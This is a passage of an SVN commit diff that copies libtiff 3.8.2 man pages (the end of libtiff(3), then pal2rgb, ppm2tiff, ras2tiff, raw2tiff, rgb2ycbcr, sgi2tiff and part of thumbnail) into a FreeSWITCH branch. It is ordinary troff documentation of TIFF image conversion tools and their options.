+for 12-bit PICIO-compatible data,
+PIXARLOGDATAFMT_16BIT
+for 16-bit signed samples,
+and
+PIXARLOGDATAFMT_FLOAT
+for 32-bit IEEE floating point samples.
+.TP
+.B TIFFTAG_PIXARLOGQUALITY
+Control the compression technique used by the PixarLog codec.
+This value is treated identically to TIFFTAG_ZIPQUALITY; see the
+above description.
+.TP
+.B TIFFTAG_SGILOGDATAFMT
+Control the format of client data passed 
+.I in
+to the SGILog codec when encoding and passed
+.I out
+from when decoding.
+Possible values are:
+SGILOGDATAFMT_FLTXYZ
+for converting between LogLuv and 32-bit IEEE floating valued XYZ pixels,
+SGILOGDATAFMT_16BITLUV
+for 16-bit encoded Luv pixels,
+SGILOGDATAFMT_32BITRAW and SGILOGDATAFMT_24BITRAW
+for no conversion of data,
+SGILOGDATAFMT_8BITRGB
+for returning 8-bit RGB data (valid only when decoding LogLuv-encoded data),
+SGILOGDATAFMT_FLTY
+for converting between LogL and 32-bit IEEE floating valued Y pixels,
+SGILOGDATAFMT_16BITL
+for 16-bit encoded L pixels,
+and
+SGILOGDATAFMT_8BITGRY
+for returning 8-bit greyscale data
+(valid only when decoding LogL-encoded data).
+.SH DIAGNOSTICS
+All error messages are directed through the
+.IR TIFFError
+routine.
+By default messages are directed to
+.B stderr
+in the form:
+.IR "module: message\en."
+Warning messages are likewise directed through the
+.IR TIFFWarning
+routine.
+.SH "SEE ALSO"
+.BR fax2tiff (1),
+.BR gif2tiff (1),
+.BR pal2rgb (1),
+.BR ppm2tiff (1),
+.BR rgb2ycbcr (1),
+.BR ras2tiff (1),
+.BR raw2tiff (1),
+.BR sgi2tiff (1),
+.BR tiff2bw (1),
+.BR tiffdither (1),
+.BR tiffdump (1),
+.BR tiffcp (1),
+.BR tiffcmp (1),
+.BR tiffgt (1),
+.BR tiffinfo (1),
+.BR tiffmedian (1),
+.BR tiffsplit (1),
+.BR tiffsv (1).
+.PP
+.BR "Tag Image File Format Specification \(em Revision 6.0" ,
+an Aldus Technical Memorandum.
+.PP
+.BR "The Spirit of TIFF Class F" ,
+an appendix to the TIFF 5.0 specification prepared by Cygnet Technologies.
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/
+.SH BUGS
+The library does not support multi-sample images
+where some samples have different bits/sample.
+.PP
+The library does not support random access to compressed data
+that is organized with more than one row per tile or strip.

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/pal2rgb.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/pal2rgb.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/pal2rgb.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/pal2rgb.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/pal2rgb.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+.\" $Id: pal2rgb.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1990-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH PAL2RGB 1 "September 20, 2005" "libtiff"
+.SH NAME
+pal2rgb \- convert a palette color
+.SM TIFF
+image to a full color image
+.SH SYNOPSIS
+.B pal2rgb
+[
+.I options
+]
+.I input.tif
+.I output.tif
+.SH DESCRIPTION
+.I Pal2rgb
+converts a palette color
+.SM TIFF
+image to a full color image by
+applying the colormap of the palette image to each sample
+to generate a full color
+.SM RGB
+image.
+.SH OPTIONS
+Options that affect the interpretation of input data are:
+.TP
+.B \-C
+This option overrides the default behavior of
+.I pal2rgb
+in determining whether or not
+colormap entries contain 16-bit or 8-bit values.
+By default the colormap is inspected and
+if no colormap entry greater than 255 is found,
+the colormap is assumed to have only 8-bit values; otherwise
+16-bit values (as required by the
+.SM TIFF
+specification) are assumed.
+The
+.B \-C
+option can be used to explicitly specify the number of
+bits for colormap entries:
+.B "\-C 8"
+for 8-bit values, 
+.B "\-C 16"
+for 16-bit values.
+.PP
+Options that affect the output file format are:
+.TP
+.B \-p
+Explicitly select the planar configuration used in organizing
+data samples in the output image:
+.B "\-p contig"
+for samples packed contiguously, and
+.B "\-p separate"
+for samples stored separately.
+By default samples are packed.
+.TP
+.B \-c
+Use the specific compression algorithm to encoded image data
+in the output file:
+.B "\-c packbits"
+for Macintosh Packbits,
+.B "\-c lzw"
+for Lempel-Ziv & Welch,
+.B "\-c zip"
+for Deflate,
+.B "\-c none"
+for no compression.
+If no compression-related option is specified, the input
+file's compression algorithm is used.
+.TP
+.B \-r
+Explicitly specify the number of rows in each strip of the
+output file.
+If the
+.B \-r
+option is not specified, a number is selected such that each
+output strip has approximately 8 kilobytes of data in it.
+.SH BUGS
+Only 8-bit images are handled.
+.SH "SEE ALSO"
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/ppm2tiff.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/ppm2tiff.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/ppm2tiff.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/ppm2tiff.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/ppm2tiff.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,105 @@
+.\" $Id: ppm2tiff.1,v 1.5 2006/03/01 11:20:33 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH PPM2TIFF 1 "March 1, 2006" "libtiff"
+.SH NAME
+ppm2tiff \- create a
+.SM TIFF
+file from 
+.SM PPM, PGM
+and
+.SM PBM
+image files
+.SH SYNOPSIS
+.B ppm2tiff
+[
+.I options
+] [
+.I input.ppm
+]
+.I output.tif
+.SH DESCRIPTION
+.I ppm2tiff
+converts a file in the 
+.SM PPM, PGM
+and
+.SM PBM
+image formats to
+.SM TIFF.
+By default, the
+.SM TIFF
+image is created with data samples packed (\c
+.IR PlanarConfiguration =1),
+compressed with the Packbits algorithm (\c
+.IR Compression =32773),
+and with each strip no more than 8 kilobytes. These characteristics can be
+overridden, or explicitly specified with the options described below
+.PP
+If the
+.SM PPM
+file contains greyscale data, then the
+.I PhotometricInterpretation
+tag is set to 1 (min-is-black), otherwise it is set to 2 (RGB).
+.PP
+If no
+.SM PPM
+file is specified on the command line,
+.I ppm2tiff
+will read from the standard input.
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B none 
+for no compression,
+.B packbits
+for PackBits compression (will be used by default),
+.B lzw
+for Lempel-Ziv & Welch compression,
+.B jpeg
+for baseline JPEG compression,
+.B zip
+for Deflate compression,
+.B g3
+for CCITT Group 3 (T.4) compression,
+and
+.B g4
+for CCITT Group 4 (T.6) compression.
+.TP
+.B \-r
+Write data with a specified number of rows per strip; by default the number of
+rows/strip is selected so that each strip is approximately 8 kilobytes.
+.TP
+.B \-R
+Mark the resultant image to have the specified X and Y resolution (in
+dots/inch).
+.SH "SEE ALSO"
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/ras2tiff.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/ras2tiff.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/ras2tiff.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/ras2tiff.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/ras2tiff.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+.\" $Id: ras2tiff.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1990-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH RAS2TIFF 1 "November 2, 2005" "libtiff"
+.SH NAME
+ras2tiff \- create a
+.SM TIFF
+file from a Sun rasterfile
+.SH SYNOPSIS
+.B ras2tiff
+[
+.I options
+]
+.I input.ras
+.I output.tif
+.SH DESCRIPTION
+.I ras2tiff
+converts a file in the Sun rasterfile format to
+.SM TIFF.
+By default, the
+.SM TIFF
+image is created with data samples packed (\c
+.IR PlanarConfiguration =1),
+compressed with the Lempel-Ziv & Welch algorithm (\c
+.IR Compression =5),
+and with each strip no more than 8 kilobytes.
+These characteristics can overridden, or explicitly specified
+with the options described below.
+.PP
+Any colormap information in the rasterfile is carried over to the
+.SM TIFF
+file by including a
+.I Colormap
+tag in the output file.
+If the rasterfile has a colormap, the
+.I PhotometricInterpretation
+tag is set to 3 (palette);
+otherwise it is set to 2 (RGB) if the depth
+is 24 or 1 (min-is-black) if the depth is not 24.
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression,
+.B "-c packbits"
+for the PackBits compression algorithm,
+.B "-c jpeg"
+for the baseline JPEG compression algorithm,
+.B "-c zip
+for the Deflate compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch (the default).
+.TP
+.B \-r
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.SH BUGS
+Does not handle all possible rasterfiles.
+In particular, 
+.I ras2tiff
+does not handle run-length encoded images.
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/raw2tiff.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/raw2tiff.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/raw2tiff.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/raw2tiff.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/raw2tiff.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,193 @@
+.\" $Id: raw2tiff.1,v 1.5 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1990-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH RAW2TIFF 1 "November 2, 2005" "libtiff"
+.SH NAME
+raw2tiff \- create a
+.SM TIFF
+file from a raw data
+.SH SYNOPSIS
+.B raw2tiff
+[
+.I options
+]
+.I input.raw
+.I output.tif
+.SH DESCRIPTION
+.I raw2tiff
+converts a raw byte sequence into
+.SM TIFF.
+By default, the
+.SM TIFF
+image is created with data samples packed (\c
+.IR PlanarConfiguration =1),
+compressed with the PackBits algorithm (\c
+.IR Compression = 32773),
+and with each strip no more than 8 kilobytes.
+These characteristics can overridden, or explicitly specified
+with the options described below.
+.SH OPTIONS
+.TP
+.B \-H <number>
+size of input image file header in bytes (0 by default). This amount of data
+just will be skipped from the start of file while reading.
+.TP
+.B \-w <number>
+width of input image in pixels (can be guessed, see
+.SM
+.B "GUESSING THE IMAGE GEOMETRY"
+below).
+.TP
+.B \-l <number>
+length of input image in lines(can be guessed, see
+.SM
+.B "GUESSING THE IMAGE GEOMETRY"
+below).
+.TP
+.B \-b <number>
+number of bands in input image (1 by default).
+.TP
+.B \-d data_type
+type of samples in input image, where
+.B data_type
+may be:
+.br
+.I byte\t\t
+8-bit unsigned integer (default),
+.br
+.I short\t
+16-bit unsigned integer,
+.br
+.I long\t\t
+32-bit unsigned integer,
+.br
+.I sbyte\t
+8-bit signed integer,
+.br
+.I sshort\t
+16-bit signed integer,
+.br
+.I slong\t
+32-bit signed integer,
+.br
+.I float\t
+32-bit IEEE floating point,
+.br
+.I double\t
+64-bit IEEE floating point,
+.TP
+.B \-i config
+type of samples interleaving in input image, where
+.B config
+may be:
+.br
+.I pixel\t
+pixel interleaved data (default),
+.br
+.I band\t\t
+band interleaved data.
+.TP
+.B \-p photo
+photometric interpretation (color space) of the input image, where
+.B photo
+may be:
+.br
+.I miniswhite
+white color represented with 0 value,
+.br
+.I minisblack
+black color represented with 0 value (default),
+.br
+.I rgb\t\t
+image has RGB color model,
+.br
+.I cmyk\t\t
+image has CMYK (separated) color model,
+.br
+.I ycbcr\t\t
+image has YCbCr color model,
+.br
+.I cielab\t
+image has CIE L*a*b color model,
+.br
+.I icclab\t
+image has ICC L*a*b color model,
+.br
+.I itulab\t
+image has ITU L*a*b color model,
+.TP
+.B \-s
+swap bytes fetched from the input file.
+.TP
+.B \-L
+input data has LSB2MSB bit order (default).
+.TP
+.B \-M
+input data has MSB2LSB bit order.
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression,
+.B "-c packbits"
+for the PackBits compression algorithm (the default),
+.B "-c jpeg"
+for the baseline JPEG compression algorithm,
+.B "-c zip
+for the Deflate compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch.
+.TP
+.B \-r <number>
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.SH GUESSING THE IMAGE GEOMETRY
+.I raw2tiff
+can guess image width and height in case one or both of these parameters are
+not specified. If you omit one of those parameters, the complementary one will
+be calculated based on the file size (taking into account header size, number
+of bands and data type). If you omit both parameters, the statistical approach
+will be used. Utility will compute correlation coefficient between two lines
+at the image center using several appropriate line sizes and the highest
+absolute value of the coefficient will indicate the right line size. That is
+why you should be cautious with the very large images, because guessing
+process may take a while (depending on your system performance). Of course, the
+utility can't guess the header size, number of bands and data type, so it
+should be specified manually. If you don't know anything about your image,
+just try with the several combinations of those options.
+.P
+There is no magic, it is just a mathematical statistics, so it can be wrong
+in some cases. But for most ordinary images guessing method will work fine.
+.SH "SEE ALSO"
+.BR pal2rgb (1),
+.bR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/rgb2ycbcr.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/rgb2ycbcr.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/rgb2ycbcr.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/rgb2ycbcr.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/rgb2ycbcr.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,99 @@
+.\"	$Header: /cvs/maptools/cvsroot/libtiff/man/rgb2ycbcr.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH RGB2YCBCR 1 "November 2, 2005" "libtiff"
+.SH NAME
+rgb2ycbcr \- convert non-YCbCr
+.SM TIFF
+images to a YCbCr
+.SM TIFF
+image
+.SH SYNOPSIS
+.B rgb2ycbcr
+[
+.I options
+]
+.I "src1.tif src2.tif ... dst.tif"
+.SH DESCRIPTION
+.I rgb2ycbcr
+converts
+.SM RGB
+color, greyscale, or bi-level
+.SM TIFF
+images to YCbCr images by transforming and sampling pixel data. If multiple
+files are specified on the command line each source file is converted to a
+separate directory in the destination file.
+.PP
+By default, chrominance samples are created by sampling
+2 by 2 blocks of luminance values; this can be changed with the
+.B \-h
+and
+.B \-v
+options.
+Output data are compressed with the
+.SM PackBits
+compression scheme, by default; an alternate scheme can be selected with the
+.B \-c
+option.
+By default, output data are compressed in strips with
+the number of rows in each strip selected so that the
+size of a strip is never more than 8 kilobytes;
+the
+.B \-r
+option can be used to explicitly set the number of
+rows per strip.
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression,
+.B "-c packbits"
+for the PackBits compression algorithm (the default),
+.B "-c jpeg"
+for the JPEG compression algorithm,
+.B "-c zip"
+for the deflate compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch.
+.TP
+.B \-h
+Set the horizontal sampling dimension to one of: 1, 2 (default), or 4.
+.TP
+.B \-r
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.TP
+.B \-v
+Set the vertical sampling dimension to one of: 1, 2 (default), or 4.
+.SH "SEE ALSO"
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/sgi2tiff.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/sgi2tiff.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/sgi2tiff.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/sgi2tiff.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/sgi2tiff.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,93 @@
+.\" $Id: sgi2tiff.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH SGI2TIFF 1 "November 2, 2005" "libtiff"
+.SH NAME
+sgi2tiff \- create a
+.SM TIFF
+file from an
+.SM SGI
+image file
+.SH SYNOPSIS
+.B sgi2tiff
+[
+.I options
+]
+.I input.rgb
+.I output.tif
+.SH DESCRIPTION
+.I sgi2tiff
+converts a file in the 
+.SM SGI
+image format to
+.SM TIFF.
+By default, the
+.SM TIFF
+image is created with data samples packed (\c
+.IR PlanarConfiguration =1),
+compressed with the Lempel-Ziv & Welch algorithm (\c
+.IR Compression =5),
+and with each strip no more than 8 kilobytes.
+These characteristics can overridden, or explicitly specified
+with the options described below.
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression,
+.B "-c packbits"
+for the PackBits compression algorithm),
+.B "-c jpeg"
+for the baseline JPEG compression algorithm,
+.B "-c zip
+for the Deflate compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch (the default).
+.TP
+.B \-p
+Explicitly select the planar configuration used in organizing
+data samples in the output image:
+.B "\-p contig"
+for samples packed contiguously, and
+.B "\-p separate"
+for samples stored separately.
+By default samples are packed.
+.TP
+.B \-r
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.SH BUGS
+Does not record colormap information.
+.SH "SEE ALSO"
+.BR tiffinfo (1),
+.BR tiffcp (1),
+.BR tiffmedian (1),
+.BR libtiff (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/thumbnail.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/thumbnail.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/thumbnail.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/thumbnail.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/thumbnail.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,90 @@
+.\"	$Id: thumbnail.1,v 1.2 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1994-1997 Sam Leffler
+.\" Copyright (c) 1994-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH THUMBNAIL 1 "November 2, 2005" "libtiff"
+.SH NAME
+thumbnail \- create a
+.SM TIFF
+file with thumbnail images
+.SH SYNOPSIS
+.B thumbnail
+[
+.I options
+]
+.I input.tif
+.I output.tif
+.SH DESCRIPTION
+.I thumbnail
+is a program written to show how one might use the
+SubIFD tag (#330) to store thumbnail images.
+.I thumbnail
+copies a
+.SM TIFF
+Class F facsimile file to the output file
+and for each image an 8-bit greyscale 
+.IR "thumbnail sketch" .
+The output file contains the thumbnail image with the associated
+full-resolution page linked below with the SubIFD tag.
+.PP
+By default, thumbnail images are 216 pixels wide by 274 pixels high.
+Pixels are calculated by sampling and filtering the input image
+with each pixel value passed through a contrast curve.
+.SH OPTIONS
+.TP
+.B \-w
+Specify the width of thumbnail images in pixels.
+.TP
+.B \-h
+Specify the height of thumbnail images in pixels.
+.TP
+.B \-c
